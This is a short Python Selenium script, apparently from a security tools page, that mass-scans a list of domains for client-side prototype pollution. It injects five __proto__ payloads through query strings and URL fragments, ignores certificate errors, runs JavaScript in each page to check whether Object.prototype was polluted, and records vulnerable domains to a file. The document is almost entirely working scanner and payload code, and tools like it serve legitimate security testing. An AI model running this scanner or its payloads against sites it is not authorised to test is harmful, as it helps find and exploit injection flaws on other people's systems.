Selenium Bot

import time
from selenium import webdriver
import sys
options = webdriver.ChromeOptions()
options.add_argument('--ignore-ssl-errors=yes')
options.add_argument('--ignore-certificate-errors')
driver = webdriver.Chrome('./chromedriver', options=options)
payloads = [ ['XSS Prototype #1',   'x[__proto__][abaeead]=abaeead',  'return (typeof(Object.prototype.abaeead)!="undefined")',      '?x[__proto__][abaeead]=abaeead'],
 	     ['XSS Prototype #2',   'x.__proto__.edcbcab=edcbcab',    'return (typeof(Object.prototype.edcbcab)!="undefined")',      '?x.__proto__.edcbcab=edcbcab'],
	     ['XSS Prototype #3',   '__proto__[eedffcb]=eedffcb',     'return (typeof(Object.prototype.eedffcb)!="undefined")',      '?__proto__[eedffcb]=eedffcb'],
             ['XSS Prototype #4',   '__proto__.baaebfc=baaebfc',      'return (typeof(Object.prototype.baaebfc)!="undefined")',       '?__proto__.baaebfc=baaebfc'],
	     ['XSS Prototype #5',    '__proto__=&0[abaeead]=abaeead', 'return (typeof(Object.prototype.abaeead)!="undefined")',       '__proto__=&0[abaeead]=abaeead'   ]]


domains = open(sys.argv[1]).read().split("\n")
for domain in domains:
	for i in payloads:
		for j in ["?","#"]:
			final = domain+j+i[1]
			try:
				driver.get(final);
				if(driver.current_url!=final):
					if(driver.current_url.find(i[1])!=-1):
						time.sleep(5)
						a = driver.execute_script(i[2])
						print(a)
					else:
						driver.get(driver.current_url+j+i[1])
						time.sleep(2)
						a = driver.execute_script(i[2])
				if(a==True):
					print("Found : "+domain)
					open("success.txt","a").write(domain+" == " + str(i) +"\n")
			except Exception as e:
				print(e)

driver.quit()

Last updated